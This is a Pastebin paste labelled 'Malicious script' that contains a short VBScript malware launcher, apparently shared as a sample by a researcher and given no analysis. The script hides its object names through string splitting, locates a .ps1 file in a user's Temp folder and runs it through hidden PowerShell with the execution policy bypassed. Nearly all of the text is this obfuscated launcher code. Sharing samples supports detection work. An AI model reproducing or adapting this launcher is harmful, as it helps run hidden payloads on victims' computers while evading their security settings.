dynamoo

Malicious script

Apr 16th, 2015
354
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Dim dff
  2. dff = 68
  3. swdff = 68
  4. currentDirectory = left(WScript.ScriptFullName,(Len(WScript.ScriptFullName))-(len(WScript.ScriptName)))
  5. Set objFSO=CreateObject(""&"S"&"cripting.FileSystemObject"&"")
  6. djwq = "."&"p"&"s"&"1"
  7. currentFile = "C:\Users\PSPUBWS\AppData\Local\Temp\"&"17055"&djwq
  8. Set objShell = CreateObject("Wscript.shell")
  9. objShell.Run ""+"pow"+"erS"+""+""+"hell.exe -noexit -ExecutionPolicy bypass -noprofile -file " & currentFile,0,true
RAW Paste Data